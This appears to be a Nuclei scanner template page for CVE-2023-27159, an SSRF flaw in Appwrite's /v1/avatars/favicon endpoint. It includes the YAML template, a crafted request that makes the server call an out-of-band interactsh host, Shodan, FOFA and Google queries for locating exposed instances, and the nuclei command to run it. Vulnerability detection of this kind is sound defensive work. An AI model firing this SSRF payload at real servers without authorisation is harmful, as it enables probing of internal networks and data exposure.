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Appwrite <=1.2.1 - Server-Side Request Forgery

ID: CVE-2023-27159

Severity: high

Author: DhiyaneshDk

Tags: cve2023,cve,appwrite,ssrf,oast

Description

Section titled “Description”

Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: CVE-2023-27159


info:
  name: Appwrite <=1.2.1 - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    This vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further exploitation of the server.
  remediation: |
    Upgrade Appwrite to a version higher than 1.2.1 to mitigate the SSRF vulnerability.
  reference:
    - https://gist.github.com/b33t1e/43b26c31e895baf7e7aea2dbf9743a9a
    - https://notes.sjtu.edu.cn/gMNlpByZSDiwrl9uZyHTKA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27159
    - http://appwrite.com
    - https://github.com/appwrite/appwrite
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27159
    cwe-id: CWE-918
    epss-score: 0.00418
    epss-percentile: 0.74069
    cpe: cpe:2.3:a:appwrite:appwrite:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appwrite
    product: appwrite
    shodan-query:
      - title:"Sign In - Appwrite"
      - http.title:"sign in - appwrite"
      - http.favicon.hash:-633108100
    fofa-query:
      - icon_hash=-633108100
      - title="sign in - appwrite"
    google-query: intitle:"sign in - appwrite"
  tags: cve2023,cve,appwrite,ssrf,oast


http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"


      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Appwrite-Server"
# digest: 4a0a004730450221008856edeb19097d77edaad56a6aa1c10e08173b987c6ec813f2508d923e0c1cb0022001f507b9531cbf44335f7932ede127ab6a92c68cc0f4132f75be040e11210595:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27159.yaml"

View on Github